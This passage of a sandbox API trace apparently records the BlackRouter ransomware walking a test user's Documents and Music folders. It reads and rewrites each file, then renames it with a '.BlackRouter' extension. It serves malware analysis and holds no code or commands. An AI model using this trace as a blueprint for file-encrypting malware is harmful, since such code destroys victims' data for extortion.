halpmcxz\\documents\\_ysvsjdsd7rfsvu0u6.docx"), fInfoLevelId=0x0, lpFileInformation=0x1ae820 | out: lpFileInformation=0x1ae820*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e1156a0, ftCreationTime.dwHighDateTime=0x1d4a216, ftLastAccessTime.dwLowDateTime=0x208b8f10, ftLastAccessTime.dwHighDateTime=0x1d476cc, ftLastWriteTime.dwLowDateTime=0xbf7ef410, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xbf00)) returned 1 [0041.910] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_YsvsJDsD7RFSVU0u6.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_ysvsjdsd7rfsvu0u6.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_YsvsJDsD7RFSVU0u6.docx.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_ysvsjdsd7rfsvu0u6.docx.blackrouter")) returned 1 [0041.918] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*.BAK~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.918] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.920] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*.CENON~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.920] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae2b0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.921] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0041.921] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0041.921] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0041.921] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0041.921] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0041.921] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0041.921] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0041.921] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0041.921] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0041.921] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0041.921] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0041.921] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0041.922] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0041.922] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0041.922] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0041.922] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0041.922] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0041.922] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0041.922] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0041.922] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0041.922] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 1 [0041.922] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae520 | out: lpFindFileData=0x1ae520) returned 0 [0041.924] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae450 | out: lpFindFileData=0x1ae450) returned 0 [0041.924] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\gxKocGgw\\__lK3.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxkocggw\\__lk3.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.924] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0xd2b6 [0041.924] ReadFile (in: hFile=0x258, lpBuffer=0x2905058, nNumberOfBytesToRead=0xd2b6, lpNumberOfBytesRead=0x1ae668, lpOverlapped=0x0 | out: lpBuffer=0x2905058*, lpNumberOfBytesRead=0x1ae668*=0xd2b6, lpOverlapped=0x0) returned 1 [0041.927] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\gxKocGgw\\__lK3.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxkocggw\\__lk3.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.930] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\gxKocGgw\\__lK3.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxkocggw\\__lk3.wav"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d46ba50, ftCreationTime.dwHighDateTime=0x1d463b2, ftLastAccessTime.dwLowDateTime=0xa269a3b0, ftLastAccessTime.dwHighDateTime=0x1d457e0, ftLastWriteTime.dwLowDateTime=0xbf815570, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xd2c0)) returned 1 [0041.930] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\gxKocGgw\\__lK3.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxkocggw\\__lk3.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\gxKocGgw\\__lK3.wav.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\gxkocggw\\__lk3.wav.blackrouter")) returned 1 [0041.935] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\gxKocGgw\\*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.936] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.937] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\gxKocGgw\\*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.937] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1ae210, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0041.938] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0041.938] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0041.938] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0041.938] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0041.938] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0041.938] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0041.938] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0041.939] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0041.939] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 1 [0041.939] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae480 | out: lpFindFileData=0x1ae480) returned 0 [0041.941] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae450 | out: lpFindFileData=0x1ae450) returned 1 [0041.941] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae450 | out: lpFindFileData=0x1ae450) returned 1 [0041.941] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae450 | out: lpFindFileData=0x1ae450) returned 1 [0041.941] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae450 | out: lpFindFileData=0x1ae450) returned 0 [0041.941] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\b-Y6b7u.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\b-y6b7u.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.941] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0x16adb [0041.942] ReadFile (in: hFile=0x258, lpBuffer=0x129fd008, nNumberOfBytesToRead=0x16adb, lpNumberOfBytesRead=0x1ae668, lpOverlapped=0x0 | out: lpBuffer=0x129fd008*, lpNumberOfBytesRead=0x1ae668*=0x16adb, lpOverlapped=0x0) returned 1 [0041.946] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\b-Y6b7u.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\b-y6b7u.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.950] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\b-Y6b7u.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\b-y6b7u.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2d3280, ftCreationTime.dwHighDateTime=0x1d45abd, ftLastAccessTime.dwLowDateTime=0x8cc4670, ftLastAccessTime.dwHighDateTime=0x1d46593, ftLastWriteTime.dwLowDateTime=0xbf83b6d0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x16ae0)) returned 1 [0041.950] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\b-Y6b7u.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\b-y6b7u.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\b-Y6b7u.mp3.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\b-y6b7u.mp3.blackrouter")) returned 1 [0041.950] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\jS3gz.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\js3gz.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.950] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0x12345 [0041.951] ReadFile (in: hFile=0x258, lpBuffer=0x29b2128, nNumberOfBytesToRead=0x12345, lpNumberOfBytesRead=0x1ae668, lpOverlapped=0x0 | out: lpBuffer=0x29b2128*, lpNumberOfBytesRead=0x1ae668*=0x12345, lpOverlapped=0x0) returned 1 [0041.957] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\jS3gz.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\js3gz.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.961] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\jS3gz.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\js3gz.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae55f3d0, ftCreationTime.dwHighDateTime=0x1d45791, ftLastAccessTime.dwLowDateTime=0x14a78b70, ftLastAccessTime.dwHighDateTime=0x1d45c84, ftLastWriteTime.dwLowDateTime=0xbf861830, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x12350)) returned 1 [0041.961] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\jS3gz.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\js3gz.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\jS3gz.mp3.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\js3gz.mp3.blackrouter")) returned 1 [0041.961] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\KzPEFwTNp.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\kzpefwtnp.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.962] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0x795a [0041.962] ReadFile (in: hFile=0x258, lpBuffer=0x29d7398, nNumberOfBytesToRead=0x795a, lpNumberOfBytesRead=0x1ae668, lpOverlapped=0x0 | out: lpBuffer=0x29d7398*, lpNumberOfBytesRead=0x1ae668*=0x795a, lpOverlapped=0x0) returned 1 [0041.964] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\KzPEFwTNp.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\kzpefwtnp.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.966] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\KzPEFwTNp.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\kzpefwtnp.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47681950, ftCreationTime.dwHighDateTime=0x1d45d6d, ftLastAccessTime.dwLowDateTime=0xc0106ed0, ftLastAccessTime.dwHighDateTime=0x1d45899, ftLastWriteTime.dwLowDateTime=0xbf861830, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x7960)) returned 1 [0041.966] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\KzPEFwTNp.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\kzpefwtnp.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\KzPEFwTNp.mp3.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\kzpefwtnp.mp3.blackrouter")) returned 1 [0041.967] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\w7dh2iOa.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\w7dh2ioa.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.967] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0x541d [0041.967] ReadFile (in: hFile=0x258, lpBuffer=0x29e7250, nNumberOfBytesToRead=0x541d, lpNumberOfBytesRead=0x1ae668, lpOverlapped=0x0 | out: lpBuffer=0x29e7250*, lpNumberOfBytesRead=0x1ae668*=0x541d, lpOverlapped=0x0) returned 1 [0041.969] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\w7dh2iOa.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\w7dh2ioa.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.971] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\w7dh2iOa.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\w7dh2ioa.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3020d230, ftCreationTime.dwHighDateTime=0x1d45ccf, ftLastAccessTime.dwLowDateTime=0xd7486710, ftLastAccessTime.dwHighDateTime=0x1d4579f, ftLastWriteTime.dwLowDateTime=0xbf887990, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x5420)) returned 1 [0041.971] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\w7dh2iOa.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\w7dh2ioa.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\w7dh2iOa.mp3.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\w7dh2ioa.mp3.blackrouter")) returned 1 [0041.972] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae450 | out: lpFindFileData=0x1ae450) returned 1 [0041.972] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae450 | out: lpFindFileData=0x1ae450) returned 1 [0041.972] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae450 | out: lpFindFileData=0x1ae450) returned 1 [0041.972] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae450 | out: lpFindFileData=0x1ae450) returned 1 [0041.972] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae450 | out: lpFindFileData=0x1ae450) returned 0 [0041.972] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\2TX9loK1_Ya1A-p3Jo.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\2tx9lok1_ya1a-p3jo.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.973] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0x15023 [0041.973] ReadFile (in: hFile=0x258, lpBuffer=0x12a2a638, nNumberOfBytesToRead=0x15023, lpNumberOfBytesRead=0x1ae668, lpOverlapped=0x0 | out: lpBuffer=0x12a2a638*, lpNumberOfBytesRead=0x1ae668*=0x15023, lpOverlapped=0x0) returned 1 [0041.977] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\2TX9loK1_Ya1A-p3Jo.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\2tx9lok1_ya1a-p3jo.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.980] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\2TX9loK1_Ya1A-p3Jo.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\2tx9lok1_ya1a-p3jo.wav"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0b9430, ftCreationTime.dwHighDateTime=0x1d46188, ftLastAccessTime.dwLowDateTime=0x7d3c5930, ftLastAccessTime.dwHighDateTime=0x1d456ea, ftLastWriteTime.dwLowDateTime=0xbf887990, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x15030)) returned 1 [0041.981] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\2TX9loK1_Ya1A-p3Jo.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\2tx9lok1_ya1a-p3jo.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\2TX9loK1_Ya1A-p3Jo.wav.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\2tx9lok1_ya1a-p3jo.wav.blackrouter")) returned 1 [0041.981] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\kzeZJlsxG1FW.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\kzezjlsxg1fw.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.981] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0x1443f [0041.981] ReadFile (in: hFile=0x258, lpBuffer=0x29f4788, nNumberOfBytesToRead=0x1443f, lpNumberOfBytesRead=0x1ae668, lpOverlapped=0x0 | out: lpBuffer=0x29f4788*, lpNumberOfBytesRead=0x1ae668*=0x1443f, lpOverlapped=0x0) returned 1 [0041.985] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\kzeZJlsxG1FW.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\kzezjlsxg1fw.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.988] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\kzeZJlsxG1FW.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\kzezjlsxg1fw.wav"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96a8a90, ftCreationTime.dwHighDateTime=0x1d457a3, ftLastAccessTime.dwLowDateTime=0x7f1f080, ftLastAccessTime.dwHighDateTime=0x1d45cd6, ftLastWriteTime.dwLowDateTime=0xbf8adaf0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x14440)) returned 1 [0041.989] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\kzeZJlsxG1FW.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\kzezjlsxg1fw.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\kzeZJlsxG1FW.wav.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\kzezjlsxg1fw.wav.blackrouter")) returned 1 [0041.989] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\N1kqY3ISsu29lP.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\n1kqy3issu29lp.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.989] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0x1526f [0041.990] ReadFile (in: hFile=0x258, lpBuffer=0x12a54700, nNumberOfBytesToRead=0x1526f, lpNumberOfBytesRead=0x1ae668, lpOverlapped=0x0 | out: lpBuffer=0x12a54700*, lpNumberOfBytesRead=0x1ae668*=0x1526f, lpOverlapped=0x0) returned 1 [0041.994] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\N1kqY3ISsu29lP.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\n1kqy3issu29lp.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0041.998] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\N1kqY3ISsu29lP.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\n1kqy3issu29lp.wav"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97ba1680, ftCreationTime.dwHighDateTime=0x1d45fc8, ftLastAccessTime.dwLowDateTime=0x608c4400, ftLastAccessTime.dwHighDateTime=0x1d457fb, ftLastWriteTime.dwLowDateTime=0xbf8adaf0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x15270)) returned 1 [0041.998] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K m\\N1kqY3ISsu29lP.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mn q50s6_k m\\n1kqy3issu29lp.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Mn q50s6_K 